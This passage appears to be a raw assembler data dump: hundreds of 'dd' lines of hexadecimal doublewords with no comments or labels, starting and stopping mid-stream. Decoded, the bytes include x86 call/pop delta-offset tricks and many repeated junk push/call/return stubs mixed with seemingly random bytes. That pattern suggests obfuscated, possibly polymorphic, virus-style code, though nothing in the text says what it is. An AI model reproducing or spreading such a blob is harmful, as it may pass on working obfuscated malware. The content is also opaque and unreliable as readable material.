88A67EC4h, 6ACAB14Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5708C355h dd 898D10FBh, 1E01518Dh, 0C9F68106h, 6A4D61ECh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 50A4C352h, 383D947h, 1FFDB58Bh, 63BF061Eh, 0BE2B83D9h dd 29D0251h, 1731BD03h, 8960061Eh, 1E22918Dh, 15BD0906h dd 0B6061E19h, 6A619Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 117A0EC3h, 16820FCAh, 29000000h dd 1E1285BDh, 0BE906h, 8910000h, 815F79BEh, 27F27AA9h dd 0F704E997h, 0DE9FFFFh, 0C8000000h, 0BBDE89B9h, 80AD1DE0h dd 1F0462F8h, 8589C18Bh, 61E0131h, 4EBh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 1DE6D4C3h, 0B32EF781h, 6A43E8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 858D3FC3h, 61E19DDh dd 31118D89h, 6690061Eh, 50BD98BEh, 10E9h, 31F11A00h, 0C31C2404h dd 3629E42Dh, 3E7D74C4h, 6A9045h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 7123FAC3h, 0F006AEEh dd 0B58BF6B7h, 61E2C29h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 6D50AAC3h, 85E439BCh dd 4C858D21h, 0F0621F8h, 58Ch, 0CE816600h, 0C08313B2h dd 5BD0B05h, 50061E30h, 850F56h, 5F000000h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 6AAFC355h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0DDA1DF3Bh, 66D892AEh dd 0AEEAEE81h, 0F856006Ah, 0ED95FF5Eh, 6A061E21h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0F896C350h, 0CE9A8h, 2D110000h, 0A5FB6A5Ah, 0F129392Bh dd 0B529D0E6h, 61E18DDh, 94B69D8Dh, 6A0621h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FF0326C3h dd 0F9BD01D3h, 0FF061E04h, 1E1D9185h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 9B5DBF9Bh, 0B58B56EDh, 61E29E5h, 8D5E9h, 0E800h, 815D0000h dd 21F856EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0E89AD391h, 0D95B4097h, 0BF6623FFh dd 0BD81758Bh, 61E14EDh, 7D0h, 155860Fh, 95890000h, 61E01F5h dd 9BD9D8Bh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0BD29EAC3h, 61E1A15h, 100E381h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 31B1F5C3h, 9E98E9C4h, 8DB58B5Dh, 0B061E30h dd 61850FDBh, 81000000h, 0AAA04BEEh, 8EBD8302h, 621F6h dd 12840Fh, 0BE660000h, 7AE9D2B1h, 31000000h, 1E2A518Dh dd 0F08B6606h, 0F68E85C7h, 10621h, 0BD890000h, 61E2F65h dd 2255BD8Bh, 56E9061Eh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C88C355h dd 0F9BF0F8Eh, 0F68E85C7h, 621h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0C940B5C3h dd 8E9h, 0D619600h, 99C157DEh, 0BD9D8DDCh, 6A061E09h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0EF6CC350h, 7A780AF2h, 0FF23815Bh, 6AFFFFFEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0FC58C350h, 0E96D9BDDh, 7, 0D0307C16h, 66AE0522h, 6ADB8Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 42B345C3h, 68B0F4Ah, 8B000000h, 1E2209B5h, 8DB58B06h dd 0F061E19h, 581h, 0DF816600h, 0C3F6E7F7h, 6A840F04h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 3687C351h, 0E3DD14DAh, 8D95FFC9h dd 89061E1Ah, 1E05A585h, 0BF665006h, 4895939h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E9EF73C7h, 0Bh, 0DD4E9BA8h, 0E57DE5E5h, 89093F45h dd 1E00F5BDh, 472E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 3F8968C3h, 80E0E82Dh dd 0B0829F75h, 6A70E600h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0C658C353h, 0E489D1CEh dd 0F08B6671h, 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0D343C357h, 6BAh, 0EDB50B00h dd 8B061E0Ch, 800FC3h, 0C1000000h, 6A04E8h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 81660EC3h dd 60F6BAF7h, 1E3DB589h, 0BD01061Eh, 61E2DC9h, 0E2F76661h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C35646h dd 8D29D82Bh, 61E09C5h, 7E86093h, 0AF000000h, 0D7A9D423h dd 0E68A57B0h, 0B8D6BF5Fh, 506113EEh, 48B0Fh, 0BE660000h dd 6693EB5Ah, 0B5FFF28Bh, 61E14EDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0E8C35040h, 4FF08E1Fh, 6BA8B6B4h dd 1D1DB529h, 95FF061Eh, 61E26C1h, 8C0Fh, 0B00000h, 18D5B503h dd 70E6061Eh, 13E860h, 51550000h, 0B52220B4h, 0F594F822h dd 31FC8C4Ch, 8B33CAA9h, 810F70h, 5F000000h, 3C71E461h dd 1830F61h, 6A000003h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0FCA3C351h, 0ABEDAE7Eh dd 17A5B58Bh, 0B60F061Eh, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B58B46F7h dd 61E2971h, 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 6AC38B33h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0ABD7C351h dd 0E86AA911h, 0C15C4687h, 6A04E8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4B0B7BC3h dd 0CC039320h, 0BD01DBECh, 61E1FEDh, 6AE2F766h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0BD4EC350h, 0DDB934B9h, 11E19036h, 20D1BD8Bh, 0D82B061Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1AC35141h dd 66EE552Dh, 6A58F78Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 9B5EC353h, 259F8E94h dd 880FD82Bh, 1C4h, 14E9h, 59D35E00h, 6D6B1A95h, 6DE25A75h dd 0C43E1A46h, 0E6EA6BCh, 7B963h, 0C1830000h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0F8D9BA99h, 0BD89E215h, 61E01E5h, 0E9F5ECBEh, 0FD93B27h dd 16F86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 1915695Dh, 498D8957h, 5E061E0Eh dd 8BD98C66h, 1E0885B5h, 0F1B58906h, 0F6061E13h, 840F04C1h dd 10Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0DC35040h, 81669EA9h, 0F611EEFh, 95FFFAB7h, 61E1A8Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4FC35343h dd 0AA95E9ABh, 0C78C25A4h, 0B70F6083h, 0F59D8BC7h, 61061E2Ch dd 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 442B9A2Ch, 0E988B999h, 0C32BBB64h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 2DC35343h, 3001B58Bh dd 343D061Eh, 0F000008h, 5B86h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0BA8854BEh dd 0A683E6A2h, 19158509h, 51E9061Eh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 3F59C351h, 0BE9h, 68953700h, 92254A69h, 8DB2705Dh, 6AC08Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0B15D2DC3h, 0B24763E9h, 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 1C35646h, 2C0919A6h, 85C7B54Ch dd 61E0DF9h, 36F611F5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0B8C35040h, 0BD8BAF23h, 61E009Dh, 0BD29C08Bh dd 61E1D8Dh, 14EDBD81h, 7D0061Eh, 850F0000h, 47h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0E5C35040h, 0AAA8E681h dd 85FF5436h, 61E14EDh, 12E957h, 3CD20000h, 0A5CE12C5h dd 6DCA2BC0h, 0C13D989Eh, 960EEB07h, 61BD035Fh, 0FF061E0Dh dd 1E14EDB5h, 8B666006h, 658D8BD9h, 61061E1Dh, 26C195FFh dd 8B0F061Eh, 8, 45858953h, 5F061E1Ah, 55BD8990h, 29061E2Ch dd 1E172D9Dh, 0DE816606h, 6AB05Dh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 4FF1B0C3h, 0A19CC92Fh dd 8BF98BFCh, 1E1AE1B5h, 0AE906h, 4D870000h, 6C7A8B4Dh dd 9B350F7Fh, 0EE8h, 21E70600h, 4C7B690Bh, 37EDE2DAh, 0BEA2A052h dd 2F70C7AEh, 0C880F5Eh, 8B000000h, 1E2B2DB5h, 0F5B58B06h dd 0F061E0Ch, 81FCF0B7h, 1DDF39F6h, 0F7B70F3Eh, 2769BD8Bh dd 8B66061Eh, 0B18531F2h, 8B061E26h, 1E1D29B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 22A4B94Dh, 37410C91h, 0BD8B9F16h, 61E1975h, 9156DF81h dd 6A471Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0CD059BC3h, 891AB004h, 1E2D21BDh, 10E806h dd 21DF0000h, 0B84EFC13h, 0AEE5BC59h, 0BEAFF76Ah, 0BE663ED6h dd 8A0F6D02h, 6, 2B89B531h, 0E95F061Eh, 0FFFFF749h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 3AC35343h, 0C18BA566h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C0C35242h dd 0F3B70F60h, 4EB61h, 89000000h, 1E0EAD8Dh, 0F0B70F06h dd 19DD858Dh, 0F50061Eh, 38Ah, 0F78B6600h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0AC92C350h, 6660F5BEh, 68A8F681h, 10E8h, 87757800h dd 7A8B4D4Dh, 350F7F6Ch, 4CD059Bh, 0BE9B0h, 292D0000h dd 4E6894ADh, 0F4FF140Ch, 8B615A99h, 66006AF2h, 6AF18Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BEC35646h dd 71FC4CC5h, 5E8h, 325AE500h, 895FEF71h, 1E2011B5h, 24858D06h dd 6A062203h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 34CC355h, 0B1998C57h, 8901536Dh dd 1E1E658Dh, 5C08306h, 0B9852960h, 8B061E21h, 1E1F8DB5h dd 0BD296106h, 61E2025h, 71BF6650h, 2404894Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 30C35343h, 0FF32D0A0h dd 1D5B58Bh, 6A061Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 49C35242h, 416FC8BEh, 68D0Fh, 95890000h dd 61E1525h, 6820Fh, 0B50B0000h, 61E22D9h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 294808C3h, 1E2C2195h, 95FFF906h, 61E21EDh, 0BD29F98Bh dd 61E3181h, 94B69D8Dh, 0B58B0621h, 61E310Dh, 6AD3FFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0ACCBB8C3h, 48F295E1h, 830F1160h, 7, 18C0Fh, 0FFF90000h dd 1E1D9185h, 0EDBD8B06h, 0BF061E26h, 652EE2CEh, 90CE9h dd 0E800h, 815D0000h, 22032EEDh, 50EE8106h, 5733E70Ah dd 13E9h, 7F4ACB00h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h dd 9C172B6Bh, 0EDBD815Eh, 0D0061E14h, 0F000007h, 16A86h dd 9D8BF800h, 61E1FA5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0A4C35343h, 0ED925579h, 0D25209A7h, 100E381h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0EAAF7C3h, 0EC778867h, 0A1D1BFD4h, 0DB0B41CAh dd 0C8850Fh, 83FC0000h, 22014BBDh, 840F0006h, 4Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 11C35343h, 8669AC13h dd 0A2E9E5h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 56502DC3h, 0CEE46CD9h, 0C77C5C87h dd 22014B85h, 106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 8DB3BE82h, 8BA3AB39h dd 1E0205BDh, 5E806h, 0D180000h, 662B530Fh, 3235E781h dd 95BD8B5Fh, 0E9061E29h, 30h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 55C35646h, 981BF2Fh, 85C732A4h dd 622014Bh, 0 dd 59F8BE66h, 1FA59D8Dh, 0B589061Eh, 61E161Dh, 0FEFF2381h dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 938F16C3h, 662E8740h, 6ADB8Ch, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 846075C3h dd 0F6E81757h, 840F04C3h, 7Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 71C35040h, 6A5F3C6Ch, 10E9CEh dd 0DC3C0000h, 9005C44Dh, 86962E86h, 199A0A44h, 27BEB255h dd 0FF3C5EF2h, 1E1A8D95h, 50509006h, 8E852h, 15100000h dd 47DBD7CAh, 55BEE07Ah, 5E2B3456h, 0BE8310Fh, 37000000h dd 0ED81BBC5h, 8B8A5E14h, 0BE66FB69h, 5A5F88A3h, 8B609058h dd 0A1958BDAh, 61061E20h, 496E9h, 0B0FC00h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 72C35646h, 861F7020h dd 0FC51AE43h, 6A70E65Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0D0D8C355h, 19759D89h dd 0E4F8061Eh, 95895771h, 61E16B5h, 0F6BF0F5Eh, 66D8B60Fh dd 0BAB77BBFh, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 66C35646h, 0F80BCCB0h, 4299589h, 0C38B061Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 12C35545h, 8D31A4E5h dd 61E07D1h, 3A23BE66h, 8104E8C1h, 1FFD91F7h, 0E2F76631h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 46C35141h dd 3CB33F6Fh, 0D82B90D4h, 31D9BD29h, 8950061Eh, 6A241Ch dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 6060E9C3h, 1AF99589h, 9D8B061Eh, 61E0C8Dh, 13E961h dd 78A60000h, 0ABDE39E6h, 0ED44EFEEh, 2F3DC619h, 0F9A1857h dd 0B5FF6126h, 61E14EDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 35C35040h, 2D929501h, 718D099Dh, 0FF061E13h dd 1E26C195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 77446EFh, 5DBD89A4h, 0B0061E1Bh dd 0FE900h, 0ACE40000h, 8B00BF28h, 590DEA6Fh, 0CDBF0BBFh dd 6670E626h, 71E4FA8Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0F5C35040h, 61272C6Ah, 21E1B58Bh, 613C061Eh dd 2BD830Fh, 0B52B0000h, 61E2BB5h, 6231BE66h, 6AD8B60Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 977C357h, 2CC99F82h, 38EF120Ch, 0F201C681h dd 6BA21D5h, 0E9000000h, 10h, 0C81E3BDBh, 0AD6AFC4Fh, 0B35EAF97h dd 931E142Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 35CEA2C3h, 4E8C1F5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 42C35141h, 49B0A9C7h dd 50D327FEh, 2E76EDBEh, 42BF667Fh, 0E2F76660h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0AAC35040h, 0BA16A8DBh dd 89B37AA0h, 81E68166h, 0F88B66EDh, 6AD82Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 800720C3h dd 5DBD8B52h, 8B061E32h, 1E2E29B5h, 11E95806h, 0F0000000h dd 6B5F432Dh, 0DAE26930h, 0E9B68718h, 0A5E073CAh, 880FD82Bh dd 19Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 1CC35343h, 1377B5B9h, 0BD8B13FAh, 61E1DA5h, 7B9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0B7F46D58h, 0B50391A0h, 61E07F9h, 1FC19D89h dd 0C183061Eh, 2DB58B00h, 3B061E2Ch, 34860FD9h, 81000001h dd 13E9BDEh, 0D98C6663h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0F6C35343h, 0AEFE9E1Bh, 8960FA6Dh, 1E18FD8Dh dd 0C1F66106h, 0D4840F04h, 60000000h, 0F81FBE66h, 34E9D181h dd 0FF61648Ch, 1E1A8D95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 8EADAB33h dd 0F18B66D6h, 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0C27DF0ACh, 8B6D9072h dd 1E2DF9BDh, 0E9C32B06h, 0Fh, 9199ACE3h, 0F3425219h, 0F11854CEh dd 3D9A6C27h, 834h, 55860Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 6030ECC3h dd 0E6ED2BA9h, 0D8D89C4h, 0BF061E1Ah, 567C0CEEh, 46E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0C4BE666Dh, 8BF88B0Fh, 53006AC0h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 5B58924h, 8B061E2Ah, 8BD88BC3h, 1E0DE1B5h, 0BD85C706h dd 0F7061E09h, 6A74F493h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 3A36C355h, 2DBF9D12h dd 2B589B49h, 1E1FF1B5h, 6AC08B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E2C352h dd 85891D94h, 61E311Dh, 89BD29h, 0BD81061Eh, 61E14EDh dd 7D0h, 37850Fh, 8B0F0000h, 4, 203ABF66h, 14ED85FFh, 6A061Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 820FB1C3h, 5, 87D68166h, 0EDB5FF72h, 0E9061E14h, 8 dd 4FA8AD7h, 427A99F7h, 26C195FFh, 12E9061Eh, 14000000h dd 9645C2EEh, 5D2238E3h, 6661E140h, 91921112h, 9E990DCh dd 39000000h, 7B08446Ch, 5F3270DDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 92C35646h, 5F507F22h, 6AF28Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 84ACC0C3h, 0E8F88B66h, 8, 0EE29ACD3h, 0AC2A32FDh, 2E619589h dd 8B5E061Eh, 1E2DA5BDh, 8BFE8B06h, 1E1F45BDh, 0D27FBE06h dd 6A5BD7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E9A8D8C3h, 13h, 27F11854h, 33EB9A6Ch, 0DB90B05Ah dd 0F2AAF37Eh, 33C4C7F7h, 1E0E39B5h, 19B58B06h, 66061E19h dd 0C018C781h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 30C35040h, 0B70972A5h, 0BF0F519Fh, 6A5FF3h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C368EFC3h, 3602CC19h, 411BD8Bh, 22E9061Eh, 6AFFFFF7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 5378C353h, 8E9h, 5F7AB400h, 7FA31218h, 8B665FFCh dd 6AC18BFBh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 5EC3C352h, 0F51DEFFh, 1465B529h dd 9D29061Eh, 61E1AF9h, 4EBh, 0BD230000h, 61E2BD1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6DC35545h, 0C52D0A89h dd 66B305F9h, 8DDCF2BFh dd 1E19DD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 90509048h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 56C35747h, 0BC5DA64Dh, 6CB2A909h dd 850Fh, 6A0000h, 0FE9h, 0FB4DBD00h, 0F35B2256h, 3F1E08F1h dd 927C5828h, 0BD29006Ah, 61E0E31h, 0DCF858Dh, 88BE0622h dd 83528179h, 0B58B05C0h, 61E086Dh, 3CDBD8Bh, 0E850061Eh dd 0Eh, 0E1B1C535h, 530B03E0h, 0C7652E27h, 0FA8B9642h dd 2404895Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 34C35747h, 407D8E02h, 0F602CC1h, 0BD89CEBFh, 61E2BC1h dd 5CF8BF61h, 6A10E0h, 32CDB589h, 6A061Eh, 160DB501h, 95FF061Eh dd 61E21EDh, 2BB5BD8Bh, 9D8D061Eh, 62194B6h, 0E4D68166h dd 0D3FFF8BFh, 7E8h, 0A82CA500h, 0DE506571h, 0DBD335Eh dd 0FF061E02h, 1E1D9185h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 87D68158h dd 0E9434B3Eh, 803h, 0E8h, 0ED815D00h, 6220DD9h, 81FA8B66h dd 1E14EDBDh, 7D006h, 0F1860F00h, 8B000000h, 1E2CC5B5h dd 619D8B06h, 6A061E0Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 1827C355h, 0BF0FFE8Bh dd 0E381F0h, 0BF000001h, 6827CB71h, 850FDB0Bh, 71h, 0F08B6656h dd 66BD835Eh, 6220Ch, 27840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 6BE9A3C3h dd 89000000h, 1E018585h, 6685C706h, 106220Ch, 56000000h dd 2B31B58Bh, 0E95E061Eh, 4Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 6C35747h, 0BC8FAEBEh, 6685C769h dd 6220Ch, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 8D1C350h, 0F400027Eh, 9D8D8FB8h dd 61E0E61h, 0FEFF2381h, 0B589FFFFh, 61E238Dh, 6ADB8C66h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 2965C353h, 1E02059Dh, 4C3F606h, 8B840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0E7A109C3h, 8F98B052h, 0FFF5AE65h, 1E1A8D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 33BF3F8Dh, 9001BD5Bh, 9E9h, 2FC4FF00h, 195556B4h dd 90508BDEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0FBC35141h, 2DADB58Bh, 6E9061Eh, 0C4000000h, 9FBF4DB9h dd 463E96Ch, 0BD8B0000h, 61E2CFDh, 895300B0h, 1E0EB18Dh dd 70E65F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 50C35747h, 6EE056D9h, 0DF81C760h, 322337E6h, 0E018E681h dd 71E40EEBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0FEC35040h, 0EEC78151h, 5E5BEA12h, 11E9h, 139AC400h dd 0BD7A226Fh, 5B47620Dh, 2E683A6h, 0B60FF658h, 0A1BD8BD8h dd 0BA061E16h, 6, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0AA3B07C3h, 0E78150EAh dd 62D7D5BFh, 4E8C15Eh, 126DB58Bh, 0F766061Eh, 51006AE2h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0F8D5ECA6h, 7E861h, 863A0000h, 0D64CB7F0h, 5EFB8B4Ch dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 9743A5C3h, 4B4F6DF5h, 8B6DBE94h, 8B6693F9h dd 525050F0h, 9BEBE66h, 5250310Fh, 310FFA8Bh, 585A585Ah dd 51006A93h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 14E957h, 45250000h, 53AD2E7Fh, 7AC42C41h dd 0F918CCCFh, 0CAF5E252h, 0B5FF5937h, 61E14EDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0D3C35040h, 8BFC604Ah dd 1E2DE585h, 95FF6106h, 61E26C1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 1EC35747h, 0A3DB8371h, 6A00B0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0E828EFC3h, 0E0F1BB55h, 0FF08B66h, 382h, 0F2B70F00h dd 0E68170E6h, 7D3D37DAh, 10E9h, 7EAC5200h, 0B26E82DEh dd 0E01D056Bh, 1C9981AFh, 0F71E426h, 0E8Ah, 8E800h, 7DE90000h dd 0DC7047C1h, 3C5FF221h, 42830F61h, 8B000002h, 1E3399BDh dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 51C35545h, 0FE220B24h, 0EAB0344Ah, 0DF816668h dd 6BA3D17h, 0BF000000h, 54A03391h, 8166C38Bh, 8B7A84CEh dd 1E04FDBDh, 4E8C106h, 78E0Fh, 0F600000h, 6160F9BFh, 0E2F76661h dd 0BF0FD82Bh, 6E958F0h, 0A6000000h, 5F9860F9h, 0FD82B56h dd 1CC88h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0A7176C52h, 7B9EA13h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0A9ACC353h, 0E25C0D3Fh, 0ADF7E0Fh, 13E9h dd 26709100h, 6925EB94h, 43A7078Dh, 0DDF04C19h, 60D167h dd 0C259501h, 0C183061Eh, 5EE8100h, 8113A029h, 0B565F1D7h dd 0FD93B0Dh, 14C86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 9DB7C7C0h, 1314507Bh dd 8C666061h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0B7E90DFAh, 4B271FFh, 0F18BCD6Fh dd 0F04C1F6h, 0D684h, 55006A00h, 3E8h, 0C35D2000h, 